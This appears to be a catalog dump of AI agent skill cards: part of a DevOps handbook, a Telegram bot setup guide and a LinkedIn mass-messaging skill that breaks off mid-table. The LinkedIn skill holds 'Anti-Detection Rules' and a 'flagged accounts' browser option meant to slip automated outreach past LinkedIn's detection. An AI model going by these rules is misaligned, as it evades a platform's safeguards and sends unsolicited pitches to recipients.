node\nkubectl describe pod <pod> # Events, conditions\nkubectl logs <pod> --tail=100 -f # Stream logs\nkubectl logs <pod> --previous # Crashed container logs\nkubectl exec -it <pod> -- /bin/sh # Shell into pod\nkubectl top pods -l app=myapp # Resource usage\n\n# Rollouts\nkubectl rollout status deployment/myapp # Watch rollout\nkubectl rollout history deployment/myapp # Revision history\nkubectl rollout undo deployment/myapp # Rollback to previous\nkubectl rollout undo deployment/myapp --to-revision=3 # Specific\n\n# Scaling\nkubectl scale deployment/myapp --replicas=5 # Manual scale\nkubectl autoscale deployment/myapp --min=3 --max=10 --cpu-percent=70\n\n# Context management\nkubectl config get-contexts # List clusters\nkubectl config use-context prod-cluster # Switch\nkubectl config set-context --current --namespace=myapp # Set namespace\n```\n\n## Phase 6: Deployment Strategies\n\n### Strategy Decision Matrix\n\n| Strategy | Risk | Speed | Rollback | Cost | Best For |\n|----------|------|-------|----------|------|----------|\n| Rolling | Low-Med | Fast | Slow (re-roll) | None | Standard deployments |\n| Blue-Green | Low | Instant | Instant (switch) | 2x infra | Critical services, zero-downtime |\n| Canary | Very Low | Slow | Instant (route 0%) | Minimal | High-traffic, risky changes |\n| Feature Flag | Very Low | Instant | Instant (toggle) | None | Gradual rollout, A/B testing |\n| Recreate | High | Fast | Slow | None | Dev/staging, stateful apps |\n\n### Canary Deployment Workflow\n\n```\n1. Deploy canary (1 pod with new version)\n2. Route 5% traffic \u2192 canary\n3. Monitor for 5 minutes:\n - Error rate < baseline + 0.1%?\n - p99 latency < baseline + 50ms?\n - No new error types?\n4. If healthy \u2192 25% \u2192 monitor 10 min\n5. If healthy \u2192 50% \u2192 monitor 10 min\n6. If healthy \u2192 100% (full rollout)\n7. If ANY check fails \u2192 route 0% to canary \u2192 rollback \u2192 alert\n\nAutomation: Argo Rollouts, Flagger, or Istio + custom controller\n```\n\n### Rollback Checklist\n\nWhen a deployment goes wrong:\n1. **Immediate**: Route traffic away from new version (canary\u21920%, blue-green\u2192switch)\n2. **If rolling**: `kubectl rollout undo` or redeploy previous SHA\n3. **Check**: Are database migrations backward-compatible? (If not, you have a bigger problem)\n4. **Verify**: Rollback successful? Check error rates, latency\n5. **Communicate**: Post in #incidents, update status page\n6. **Investigate**: Don't re-deploy until root cause found\n\n### Database Migration Safety\n\n```\nRULE: Migrations must be backward-compatible with the PREVIOUS version.\n (Because during rolling deploy, both versions run simultaneously)\n\nSafe migration pattern:\n v1: Add new column (nullable, with default)\n v2: Backfill data, start writing to new column\n v3: Make new column required, stop writing old column\n v4: Drop old column (after v3 is fully deployed)\n\nNEVER in one deploy:\n \u274c Rename column\n \u274c Change column type\n \u274c Drop column still read by current version\n \u274c Add NOT NULL without default\n```\n\n## Phase 7: Observability Stack\n\n### Three Pillars + Bonus\n\n| Pillar | What | Tools | Priority |\n|--------|------|-------|----------|\n| **Metrics** | Numeric measurements over time | Prometheus, Datadog, CloudWatch | 1 (start here) |\n| **Logs** | Event records | ELK, Loki, CloudWatch Logs | 2 |\n| **Traces** | Request flow across services | Jaeger, Tempo, X-Ray, Honeycomb | 3 |\n| **Profiling** | CPU/memory hot paths | Pyroscope, Parca | 4 (when optimizing) |\n\n### Key Metrics to Track\n\n```yaml\n# RED Method (request-driven services)\nrate: # Requests per second\nerrors: # Failed requests per second\nduration: # Latency distribution (p50, p95, p99)\n\n# USE Method (infrastructure/resources)\nutilization: # % of resource in use (CPU, memory, disk)\nsaturation: # Queue depth, pending work\nerrors: # Resource errors (OOM, disk full)\n\n# Business Metrics (most important!)\nsignups_per_hour:\ncheckout_completion_rate:\napi_calls_by_customer:\nrevenue_per_minute:\n```\n\n### Alerting Rules\n\n```yaml\n# alerting-rules.yml\nalerts:\n # Symptom-based (good \u2014 tells you users are impacted)\n - name: HighErrorRate\n condition: \"error_rate_5xx > 1% for 5m\"\n severity: critical\n runbook: docs/runbooks/high-error-rate.md\n notify: [pagerduty, slack-incidents]\n\n - name: HighLatency\n condition: \"p99_latency > 2s for 5m\"\n severity: warning\n runbook: docs/runbooks/high-latency.md\n notify: [slack-incidents]\n\n # Cause-based (supplementary \u2014 helps diagnose)\n - name: PodCrashLooping\n condition: \"pod_restart_count increase > 3 in 10m\"\n severity: warning\n notify: [slack-platform]\n\n - name: DiskSpaceWarning\n condition: \"disk_usage > 80%\"\n severity: warning\n notify: [slack-platform]\n\n - name: CertificateExpiring\n condition: \"cert_expiry_days < 14\"\n severity: warning\n notify: [slack-platform]\n\n# Alert rules:\n# 1. Every alert must have a runbook link\n# 2. Every alert must be actionable (if you can't do anything, remove it)\n# 3. Critical = wake someone up. Warning = check next business day.\n# 4. Review alerts monthly \u2014 archive unused, tune noisy ones\n```\n\n### Structured Logging Standard\n\n```json\n{\n \"timestamp\": \"2026-02-16T05:00:00.000Z\",\n \"level\": \"error\",\n \"service\": \"api\",\n \"trace_id\": \"abc123\",\n \"span_id\": \"def456\",\n \"method\": \"POST\",\n \"path\": \"/api/orders\",\n \"status\": 500,\n \"duration_ms\": 342,\n \"user_id\": \"usr_789\",\n \"error\": {\n \"type\": \"DatabaseError\",\n \"message\": \"connection timeout\",\n \"stack\": \"...\"\n },\n \"context\": {\n \"order_id\": \"ord_123\",\n \"payment_method\": \"card\"\n }\n}\n```\n\n**Log level guide:**\n- `error`: Something failed, needs attention\n- `warn`: Unexpected but handled (retry succeeded, fallback used)\n- `info`: Business events (order placed, user signed up, deploy started)\n- `debug`: Technical detail (query executed, cache hit/miss) \u2014 OFF in prod\n\n### Dashboard Template\n\nEvery service dashboard should have:\n\n```\nRow 1: Traffic Overview\n - Request rate (per endpoint)\n - Error rate (4xx, 5xx separate)\n - Active users / connections\n\nRow 2: Performance\n - p50, p95, p99 latency\n - Throughput\n - Apdex score\n\nRow 3: Resources\n - CPU utilization (per pod/instance)\n - Memory usage (vs limit)\n - Disk I/O / Network I/O\n\nRow 4: Business\n - Revenue per minute (if applicable)\n - Conversion funnel\n - Queue depth / processing lag\n\nRow 5: Dependencies\n - Database query latency + connection pool\n - External API latency + error rate\n - Cache hit rate\n```\n\n## Phase 8: Incident Response\n\n### Severity Levels\n\n| Level | Definition | Response Time | Example |\n|-------|-----------|---------------|---------|\n| SEV-1 | Complete outage, revenue impact | 15 min | Site down, payments failing |\n| SEV-2 | Major feature broken, workaround exists | 30 min | Search broken, checkout slow |\n| SEV-3 | Minor feature broken, low impact | 4 hours | Admin panel bug, non-critical API |\n| SEV-4 | Cosmetic / no user impact | Next sprint | Typo, minor UI glitch |\n\n### Incident Workflow\n\n```\n1. DETECT (automated or reported)\n \u2192 Alert fires / user reports issue\n \u2192 Create incident channel: #inc-YYYY-MM-DD-description\n\n2. TRIAGE (first 5 minutes)\n \u2192 Assign Incident Commander (IC)\n \u2192 Determine severity level\n \u2192 Post initial assessment in channel\n \u2192 Update status page (if customer-facing)\n\n3. MITIGATE (focus on stopping the bleeding)\n \u2192 Can we rollback? \u2192 Do it\n \u2192 Can we scale up? \u2192 Do it\n \u2192 Can we feature-flag disable? \u2192 Do it\n \u2192 DON'T debug root cause yet \u2014 restore service first\n\n4. RESOLVE\n \u2192 Confirm service restored (metrics, customer reports)\n \u2192 Communicate resolution to stakeholders\n \u2192 Update status page\n\n5. POST-MORTEM (within 48 hours)\n \u2192 Blameless \u2014 focus on systems, not people\n \u2192 Timeline of events\n \u2192 Root cause analysis (5 Whys)\n \u2192 Action items with owners and deadlines\n \u2192 Share with team\n```\n\n### Post-Mortem Template\n\n```markdown\n# Incident Post-Mortem: [Title]\n\n**Date:** YYYY-MM-DD\n**Duration:** Xh Ym\n**Severity:** SEV-X\n**Incident Commander:** [name]\n**Author:** [name]\n\n## Summary\n[1-2 sentence summary of what happened and impact]\n\n## Impact\n- Users affected: [number/percentage]\n- Revenue impact: [if applicable]\n- Duration: [start to full resolution]\n\n## Timeline (all times UTC)\n| Time | Event |\n|------|-------|\n| 14:00 | Deploy v2.3.1 begins |\n| 14:05 | Error rate spikes to 15% |\n| 14:07 | Alert fires, IC paged |\n| 14:12 | Rollback initiated |\n| 14:15 | Service restored |\n\n## Root Cause\n[Technical explanation \u2014 what actually broke and why]\n\n## Contributing Factors\n- [Factor 1 \u2014 e.g., migration not tested with production data volume]\n- [Factor 2 \u2014 e.g., canary deployment not configured for this service]\n\n## What Went Well\n- [Fast detection \u2014 alert fired within 2 minutes]\n- [Clear runbook \u2014 IC knew rollback procedure]\n\n## What Went Wrong\n- [No canary \u2014 went straight to 100% rollout]\n- [Migration was not backward-compatible]\n\n## Action Items\n| Action | Owner | Due | Priority |\n|--------|-------|-----|----------|\n| Add canary to deployment | @engineer | YYYY-MM-DD | P1 |\n| Add migration backward-compat check | @engineer | YYYY-MM-DD | P1 |\n| Update runbook for this service | @sre | YYYY-MM-DD | P2 |\n\n## Lessons Learned\n[Key takeaways for the team]\n```\n\n### On-Call Best Practices\n\n```yaml\non_call:\n rotation: weekly\n handoff: Monday 10:00 (overlap 1h with previous)\n escalation:\n - primary: respond within 15 min\n - secondary: auto-page if no ack in 15 min\n - manager: auto-page if no ack in 30 min\n\n expectations:\n - Laptop + internet within reach\n - Respond to page within 15 minutes\n - Follow runbook first, improvise second\n - Escalate early \u2014 \"I don't know\" is fine\n - Update incident channel every 15 min during active incident\n\n wellness:\n - No more than 1 week in 4 on-call\n - Comp time after major incidents\n - Toil budget: <30% of on-call time should be toil\n - Quarterly review: are we paging too much?\n```\n\n## Phase 9: Security Hardening\n\n### Security Checklist (CI Pipeline)\n\n```yaml\nsecurity_gates:\n # Pre-commit\n - tool: gitleaks / trufflehog\n what: Secret detection in code\n block: true\n\n # Build\n - tool: semgrep / CodeQL\n what: Static analysis (SAST)\n block: critical findings\n\n - tool: npm audit / pip audit / cargo audit\n what: Dependency vulnerabilities (SCA)\n block: critical/high\n\n # Container\n - tool: trivy / grype\n what: Image vulnerability scan\n block: critical\n\n - tool: hadolint\n what: Dockerfile best practices\n block: error level\n\n # Deploy\n - tool: checkov / tfsec\n what: IaC security scan\n block: high findings\n\n # Runtime\n - tool: falco / sysdig\n what: Runtime anomaly detection\n alert: true\n```\n\n### Secrets Management Decision\n\n| Method | Security | Complexity | Best For |\n|--------|----------|------------|----------|\n| CI/CD env vars | Basic | Low | Small teams, non-critical |\n| AWS Secrets Manager / GCP Secret Manager | High | Medium | Cloud-native apps |\n| HashiCorp Vault | Very High | High | Multi-cloud, strict compliance |\n| SOPS + git | Good | Low | GitOps workflows |\n| External Secrets Operator | High | Medium | Kubernetes + cloud secrets |\n\n**Rules:**\n- Rotate secrets every 90 days minimum\n- Different secrets per environment (dev \u2260 staging \u2260 prod)\n- Audit all secret access\n- Never log secrets \u2014 mask in CI output\n- Use OIDC/keyless auth where possible (no long-lived tokens)\n\n### Network Security Baseline\n\n```\n1. Default deny all \u2014 explicitly allow what's needed\n2. TLS everywhere \u2014 including internal service-to-service\n3. No public IPs on internal services \u2014 use load balancers / API gateways\n4. WAF on public endpoints \u2014 OWASP Top 10 rules minimum\n5. Rate limiting on all APIs \u2014 prevent abuse and DDoS\n6. DNS for service discovery \u2014 never hardcode IPs\n7. VPN or zero-trust for admin access \u2014 no SSH from internet\n8. Network policies in K8s \u2014 pods can't talk to everything\n9. Egress control \u2014 services should only reach what they need\n10. Certificate auto-renewal \u2014 cert-manager or ACM\n```\n\n## Phase 10: SRE Practices\n\n### SLO Framework\n\n```yaml\n# Define SLOs for every user-facing service\nservice: checkout-api\nslos:\n availability:\n target: 99.95% # 4.38 hours downtime/year\n window: 30d rolling\n measurement: \"successful_requests / total_requests\"\n\n latency:\n target: 99% # 99% of requests under threshold\n threshold: 500ms # p99 < 500ms\n window: 30d rolling\n\n freshness:\n target: 99.9% # Data updated within SLA\n threshold: 5m\n window: 30d rolling\n\nerror_budget:\n monthly_budget: 0.05% # ~21.6 minutes\n burn_rate_alert:\n fast: 14.4x # Budget consumed in 1 hour \u2192 page\n slow: 3x # Budget consumed in 10 hours \u2192 ticket\n policy:\n budget_exhausted:\n - freeze non-critical deploys\n - redirect eng effort to reliability\n - review in weekly SRE sync\n```\n\n### Toil Reduction\n\n```\nToil = manual, repetitive, automatable, reactive, no lasting value\n\nTrack toil:\n - Log manual interventions for 2 weeks\n - Categorize: deployment, scaling, cert renewal, data fixes, permissions\n - Prioritize: frequency \u00d7 time \u00d7 frustration\n\nTarget: <30% of engineering time on toil\nIf toil > 50%: stop feature work, automate the top 3 toil items\n\nCommon toil automation:\n Manual deploys \u2192 CI/CD pipeline\n Certificate renewal \u2192 cert-manager / ACM\n Scaling up/down \u2192 HPA / auto-scaling groups\n Permission requests \u2192 Self-service IAM with approval\n Data fixes \u2192 Admin API / scripts\n Dependency updates \u2192 Renovate / Dependabot\n Flaky test management \u2192 Auto-quarantine + ticket\n```\n\n### Capacity Planning\n\n```yaml\ncapacity_review:\n frequency: monthly\n inputs:\n - current_utilization: \"CPU, memory, disk, network per service\"\n - growth_rate: \"request rate trend over 90 days\"\n - planned_events: \"launches, marketing campaigns, seasonal peaks\"\n - headroom_target: 30% # Don't run above 70% sustained\n\n formula:\n needed_capacity: \"current_usage \u00d7 (1 + growth_rate) \u00d7 (1 + headroom)\"\n lead_time: \"14 days for cloud, 60+ days for hardware\"\n\n actions:\n - \"If utilization > 70%: plan scaling within 2 weeks\"\n - \"If utilization > 85%: emergency scaling NOW\"\n - \"If utilization < 30%: rightsize down (save money)\"\n```\n\n## Phase 11: Cost Optimization\n\n### Cloud Cost Rules\n\n```\n1. Right-size first \u2014 most instances are overprovisioned\n Check: actual CPU/memory usage vs provisioned (CloudWatch, Datadog)\n Action: downsize to next tier that maintains 70% headroom\n\n2. Reserved capacity for baseline \u2014 spot/preemptible for burst\n Pattern: 60% reserved + 30% on-demand + 10% spot\n Savings: 40-70% on reserved vs on-demand\n\n3. Auto-scale to zero when possible\n - Dev/staging environments: scale down nights + weekends\n - Serverless for bursty workloads (Lambda, Cloud Functions)\n\n4. Delete zombie resources monthly\n - Unattached EBS volumes\n - Old snapshots (>90 days, not tagged for retention)\n - Unused load balancers\n - Orphaned Elastic IPs\n\n5. Storage tiering\n - Hot: SSD (frequently accessed)\n - Warm: HDD (monthly access)\n - Cold: S3 Glacier / Archive (yearly access)\n - Auto-lifecycle policies on S3 buckets\n\n6. Tag everything \u2014 untagged = untracked = wasted\n Required tags: environment, team, service, cost-center\n Weekly report: cost by tag, highlight untagged resources\n```\n\n### Monthly Cost Review Template\n\n```markdown\n## Cloud Cost Review \u2014 [Month YYYY]\n\n### Summary\n- Total spend: $X,XXX (vs budget: $X,XXX)\n- MoM change: +X% ($XXX)\n- Top 3 cost drivers: [service1, service2, service3]\n\n### By Service\n| Service | Cost | % of Total | MoM Change | Action |\n|---------|------|-----------|------------|--------|\n| EKS | $XXX | XX% | +X% | Right-size node group |\n| RDS | $XXX | XX% | 0% | Consider reserved |\n| S3 | $XXX | XX% | +X% | Add lifecycle rules |\n\n### Optimization Actions Taken\n- [Action 1]: Saved $XXX/mo\n- [Action 2]: Saved $XXX/mo\n\n### Next Month Actions\n- [ ] [Action with estimated savings]\n```\n\n## DevOps Maturity Assessment\n\nScore your team (1-5 per dimension):\n\n| Dimension | 1 (Ad-hoc) | 3 (Defined) | 5 (Optimized) |\n|-----------|-----------|-------------|----------------|\n| **CI/CD** | Manual deploy | Automated pipeline, manual gate | Full auto with canary, <15 min to prod |\n| **IaC** | Click-ops console | Some Terraform, manual tweaks | 100% IaC, GitOps, drift detection |\n| **Monitoring** | Check when broken | Dashboards + basic alerts | SLOs, error budgets, auto-remediation |\n| **Incident** | Panic + SSH | Runbooks, on-call rotation | Blameless postmortems, chaos engineering |\n| **Security** | Annual audit | CI scanning, secret manager | Shift-left, runtime detection, zero-trust |\n| **Cost** | Surprise bills | Monthly review, some reservations | Real-time tracking, auto-optimization |\n\n**Score interpretation:**\n- 6-12: Foundations needed \u2014 focus on CI/CD and basic monitoring\n- 13-20: Growing \u2014 add IaC and incident process\n- 21-26: Mature \u2014 optimize with SRE practices and cost management\n- 27-30: Elite \u2014 focus on chaos engineering and developer experience\n\n## Natural Language Commands\n\nSay things like:\n- \"Set up CI/CD for my Node.js project\"\n- \"Create a Dockerfile for my Python API\"\n- \"Write Terraform for an ECS service with RDS\"\n- \"Design a monitoring dashboard for my service\"\n- \"Help me write a post-mortem for yesterday's outage\"\n- \"Review my Kubernetes deployment for production readiness\"\n- \"What deployment strategy should I use?\"\n- \"Help me set up alerting rules\"\n- \"Create an incident response runbook for database failures\"\n- \"Audit my cloud costs and suggest optimizations\"\n- \"Assess our DevOps maturity\"\n- \"Set up secret management for our CI pipeline\"\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/1kalin/afrexai-devops-engine/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/1kalin/afrexai-devops-engine/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/1kalin/afrexai-devops-engine/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/1kalin/afrexai-devops-engine/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/1kalin/afrexai-devops-engine/SKILL.md", "importedAt": "2026-02-18T19:24:20.790Z"}}}}, {"slug": "clawhub-telegram-bot-manager", "name": "Telegram Bot Manager", "category": "Social", "description": "1. Create bot via BotFather", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Telegram Bot Manager", "slug": "clawhub-telegram-bot-manager", "version": "1.0.0", "description": "--- name: telegram-bot-manager description: Manage and configure Telegram bots for OpenClaw. Use when setting up Telegram integrations, troubleshooting bot connectivity, configuring bot tokens, or managing Telegram channel/webhook settings. Handles bot registration, token validation, and network connectivity checks for api.telegram.org. ---", "documentation_md": "---\nname: telegram-bot-manager\ndescription: Manage and configure Telegram bots for OpenClaw. Use when setting up Telegram integrations, troubleshooting bot connectivity, configuring bot tokens, or managing Telegram channel/webhook settings. Handles bot registration, token validation, and network connectivity checks for api.telegram.org.\n---\n\n# Telegram Bot Manager\n\n## Quick Start\n\n### Setup a new Telegram bot\n\n1. **Create bot via BotFather**\n - Message @BotFather on Telegram\n - Use `/newbot` command\n - Follow prompts for bot name and username\n - Copy the bot token (format: `1234567890:ABCdefGHIjklMNOpqrsTUVwxyz`)\n\n2. **Configure in OpenClaw**\n - Add token to OpenClaw config\n - Enable Telegram plugin\n - Set up pairing mode for DM access\n\n### Validate bot configuration\n\n```bash\n# Test Telegram API connectivity\ncurl -I https://api.telegram.org\n\n# Check bot token validity\ncurl -s \"https://api.telegram.org/bot<YOUR_TOKEN>/getMe\"\n```\n\n## Common Workflows\n\n### Troubleshooting connectivity issues\n\nWhen api.telegram.org is unreachable:\n\n1. **Check network access**\n ```bash\n curl -I -m 10 https://api.telegram.org\n ```\n\n2. **Verify DNS resolution**\n ```bash\n nslookup api.telegram.org\n ```\n\n3. **Test alternative endpoints**\n ```bash\n curl -I https://telegram.org\n ```\n\n### Configuring OpenClaw Telegram integration\n\nSee [OPENCLAW_CONFIG.md](references/OPENCLAW_CONFIG.md) for detailed configuration steps.\n\n### Bot token security\n\n- Never commit bot tokens to version control\n- Store tokens in environment variables or secure config files\n- Rotate tokens if compromised\n- Use different tokens for different environments (dev/prod)\n\n## Bot Commands Reference\n\nCommon Telegram bot commands for BotFather:\n\n- `/newbot` - Create a new bot\n- `/mybots` - Manage your bots\n- `/setdescription` - Set bot description\n- `/setabouttext` - Set about text\n- `/setuserpic` - Set bot profile picture\n- `/setcommands` - Set bot commands\n- `/token` - Generate new token\n- `/revoke` - Revoke current token\n- `/setprivacy` - Configure privacy mode\n\n## Webhook vs Polling\n\n### Webhook (Recommended for production)\n- Bot receives updates via HTTP POST\n- Requires public HTTPS endpoint\n- More efficient for high-volume bots\n\n### Polling (Good for development)\n- Bot continuously checks for updates\n- Simpler setup, no public endpoint needed\n- Easier to debug locally\n\nSee [WEBHOOK_SETUP.md](references/WEBHOOK_SETUP.md) for webhook configuration.\n\n## Error Handling\n\n### Common errors and solutions\n\n**\"Connection timed out\"**\n- Check firewall rules\n- Verify proxy configuration\n- Test with different network\n\n**\"Invalid token\"**\n- Verify token format (should contain colon)\n- Check for extra spaces or characters\n- Regenerate token if needed\n\n**\"Bot not responding\"**\n- Verify bot is not blocked\n- Check bot privacy settings\n- Ensure bot has proper permissions\n\n## Testing Your Bot\n\n### Manual testing\n1. Search for your bot username on Telegram\n2. Start a conversation with `/start`\n3. Test basic commands\n\n### Automated testing\nUse the test script in `scripts/test_bot.py` for automated validation.\n\n## References\n\n- [Telegram Bot API Documentation](https://core.telegram.org/bots/api)\n- [BotFather Documentation](https://core.telegram.org/bots#6-botfather)\n- [OpenClaw Configuration Guide](references/OPENCLAW_CONFIG.md)\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/362224222/telegram-bot-manager/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/362224222/telegram-bot-manager/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/362224222/telegram-bot-manager/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/362224222/telegram-bot-manager/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/362224222/telegram-bot-manager/SKILL.md", "importedAt": "2026-02-18T19:24:20.944Z"}}}}, {"slug": "clawhub-linkedin-dm", "name": "LinkedIn DM", "category": "Social", "description": "Sends personalized LinkedIn messages to existing 1st-degree connections. Each message has:", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "LinkedIn DM", "slug": "clawhub-linkedin-dm", "version": "1.0.0", "description": "--- name: linkedin-dm description: Send personalized LinkedIn direct messages to a list of existing 1st-degree connections via browser automation. Use when the user wants to message LinkedIn connections with AI-personalized outreach \u2014 e.g. nurturing leads, following up after events, reconnecting with contacts, or announcing something. Takes a data file (CSV/TSV) or plain list with connection names and companies, asks for outreach context/goal, generates a tailored message per person, and sends each one via browser automation. Handles message compose flow, character limits, and incremental status tracking. ---", "documentation_md": "---\nname: linkedin-dm\ndescription: Send personalized LinkedIn direct messages to a list of existing 1st-degree connections via browser automation. Use when the user wants to message LinkedIn connections with AI-personalized outreach \u2014 e.g. nurturing leads, following up after events, reconnecting with contacts, or announcing something. Takes a data file (CSV/TSV) or plain list with connection names and companies, asks for outreach context/goal, generates a tailored message per person, and sends each one via browser automation. Handles message compose flow, character limits, and incremental status tracking.\n---\n\n# LinkedIn DM\n\nSends personalized LinkedIn messages to existing 1st-degree connections. Each message has:\n- A **personalized opening** unique to each person (based on their profile + relationship to the sender)\n- A **consistent product/pitch section** confirmed once by the user and reused for all messages\n\n---\n\n## \u26a0\ufe0f Pre-flight Checklist \u2014 Confirm Before Starting\n\n### 1. Connection List\nAsk the user for their data file or list. Must include (or be added):\n- **Person Name** \u2014 full name\n- **Company/Role** \u2014 their current company or role\n- **LinkedIn URL** \u2014 optional but helpful\n- **Message Status** \u2014 column for tracking (add if missing)\n\nIf only a plain list is provided, offer to convert to TSV.\n\n### 2. Read Sender's LinkedIn Profile (mandatory)\nBefore writing any messages, navigate to `/in/me/` and read the sender's profile:\n- **Name** and **current role/company**\n- **Career history** \u2014 companies, roles, years\n- **Education** \u2014 college, degree, batch years\n- **Location**\n\nStore these facts. They are used to identify relationship hooks with each connection.\n\n### 3. Confirm the Pitch (once, upfront)\nAsk the user:\n> *\"What's your pitch / product message? This will be the consistent part of every message. Describe it in 1\u20132 sentences.\"*\n\nThen draft a polished pitch section (2\u20134 sentences max, punchy and clear). Show it to the user and get explicit approval. **Do not start sending until the pitch is confirmed.**\n\nExample prompt: *\"Here's the pitch I'll use for everyone \u2014 confirm or edit:*\n> *'I'm building an AI calling agent \u2014 you give it a phone number + context, and it handles the call end-to-end. Think customer follow-ups, research calls, vendor coordination \u2014 anything phone-based that eats into your day. Happy to show you a demo if this sounds useful.'\"*\n\n### 4. Browser Setup\n- **Option A \u2014 Chrome Browser Relay** (`profile=\"chrome\"`): extension attached to LinkedIn tab (badge ON) \u2014 recommended for flagged accounts\n- **Option B \u2014 OpenClaw Isolated Browser** (`profile=\"openclaw\"`): openclaw-managed Chrome, LinkedIn logged in\n\n### 5. CRM Sheet\nAsk the user for a Google Sheet ID/URL to log outreach results. If they don't have one, offer to set one up (create tab + write headers). Confirm `gog` is authenticated (`gog auth list`).\n\nIf the user skips this, fall back to local `linkedin_dm_progress.json` but remind them the follow-up skill needs the sheet.\n\n### 6. Ready Check\nOnly proceed once:\n- \u2705 List is ready\n- \u2705 Sender profile has been read\n- \u2705 Pitch is confirmed by user\n- \u2705 Browser is open with LinkedIn logged in\n- \u2705 Sheet ID confirmed (or sidecar fallback acknowledged)\n\n---\n\n## Relationship Analysis (per person)\n\nBefore writing a message, compare the connection's profile against the sender's profile to find the strongest hook. Use this hierarchy \u2014 pick the highest that applies:\n\n| Priority | Hook | Example opener |\n|---|---|---|\n| 1 | **Same company** (current or past) | \"You and I both spent time at CRED\u2026\" |\n| 2 | **Same college + overlapping years** | \"Fellow BITS Goa 2018 batch here\u2026\" |\n| 3 | **Same college** (different years) | \"BITS connect here \u2014 saw your journey from\u2026\" |\n| 4 | **Same industry/function** | \"Both been in fintech/product for a while\u2026\" |\n| 5 | **Mutual connection** | \"We're both connected to [Name]\u2026\" |\n| 6 | **Their work context** (no personal hook) | \"Seen what you've built at [Company]\u2026\" |\n\nCombine the hook with a line about **their current work** to show you know what they do.\n\n---\n\n## Message Structure\n\nSend as **two separate messages** per person, back to back:\n\n**Message 1 \u2014 Personalized opener** (unique per person)\n```\n[Relationship hook \u2014 1 sentence]\n[Acknowledgement of their work/role \u2014 1 sentence]\n```\nTarget: 100\u2013180 chars. Feels like a genuine reach-out from someone who knows them.\n\n**Message 2 \u2014 Pitch** (identical for everyone, confirmed upfront)\n```\n[Product description \u2014 1\u20132 sentences]\n[Relevant use case for their role \u2014 1 sentence]\n[Soft CTA \u2014 1 sentence]\n```\nTarget: 150\u2013250 chars. Clear, punchy, no filler.\n\n**Why two messages?**\n- Opener lands first \u2014 they see it before the pitch, feels more personal\n- Pitch is clearly a separate thought, not buried at the end\n- Mirrors how a human would actually message a connection\n\n**Fallback:** If sending two messages is technically difficult (e.g. bubble re-focusing issues), use `Shift+Enter` twice between the opener and pitch to create a paragraph break within a single message.\n\n**Do not:**\n- Open with \"I hope you're well\" or \"I came across your profile\"\n- Use the same opening for multiple people\n- Change the pitch section per person\n\n---\n\n## Batch Preview Before Sending\n\nGenerate messages for the **entire list first**. Present them in a table:\n\n| Name | Company | Relationship Hook Used | Message Preview |\n|---|---|---|---|\n| Shorya Saini | Razorpay | Same BITS batch | Hey Shorya, BITS Goa 2018 batch\u2026 |\n\nGet user approval on the full batch before opening the browser. Allow edits per row.\n\n---\n\n## Sending Flow (Per Person)\n\n1. **Navigate to `/feed/`** \u2014 mandatory, no exceptions, no skipping\n2. **Wait 3\u20135 seconds**\n3. **Search connections** at `linkedin.com/mynetwork/invite-connect/connections/` \u2014 type name in \"Search by name\"\n4. **Handle results:**\n - 1 match \u2192 confirm name + headline \u2192 click to open profile\n - Multiple matches \u2192 show user, ask which one\n - 0 matches \u2192 mark `Not a Connection`, skip\n5. **Read their profile** if not already done (for personalisation)\n6. **Click Message button** on their profile\n7. **Send Message 1** \u2014 personalized opener only, send it\n8. **Send Message 2** \u2014 pitch only, send it immediately after\n9. **Confirm both delivered**\n10. **Log to CRM sheet** \u2014 append row via `gog sheets append` with all fields (see CRM Tracking section)\n\nSee `references/browser-workflow.md` for exact browser automation steps.\n\n---\n\n## Status Values\n\n| Status | Meaning |\n|---|---|\n| `Sent` | Message delivered this session |\n| `Already Messaged` | Recent conversation exists \u2014 skip |\n| `Not a Connection` | No Message button or not in connections search |\n| `Profile Not Found` | Could not identify the right person |\n| `Skipped` | User chose to skip |\n| `Failed` | Browser error \u2014 retry next session |\n\n---\n\n## Anti-Detection Rules\n\n- `/feed/` before **every single profile** \u2014 non-negotiable\n- 3\u20135 second wait after feed loads\n- Max **15\u201320 messages per session**\n- Stop immediately if LinkedIn warns about messaging rate \u2014 tell the user\n\n---\n\n## CRM Tracking \u2014 Google Sheet\n\nAfter each message is sent, append a row to a Google Sheet. This sheet is the source of truth for all outreach \u2014 current session and future follow-up.\n\n### Sheet Setup\n\nAsk the user for a Google Sheet ID or URL at the start of the session (or offer to create a new one). The sheet should have a tab named `Outreach` with these columns:\n\n| Col | Field | Notes |\n|---|---|---|\n| A | Date Sent | ISO date, e.g. `2026-02-13` |\n| B | Person Name | Full name |\n| C | Role / Title | Their current headline from LinkedIn |\n| D | Company | Current company |\n| E | LinkedIn URL | Profile URL |\n| F | Relationship Hook | What hook was used (e.g. \"Same batch BITS Goa 2018\", \"Both at CRED 2022\u201323\") |\n| G | Opener Sent | Exact text of Message 1 |\n| H | Pitch Sent | Exact text of Message 2 |\n| I | Campaign | Short label for this batch (e.g. \"AI Calling - Feb 2026\") |\n| J | Status | Always `Sent` when first logged \u2014 updated by follow-up skill |\n| K | Notes | Anything notable (prior conversation, context, mutual connection used) 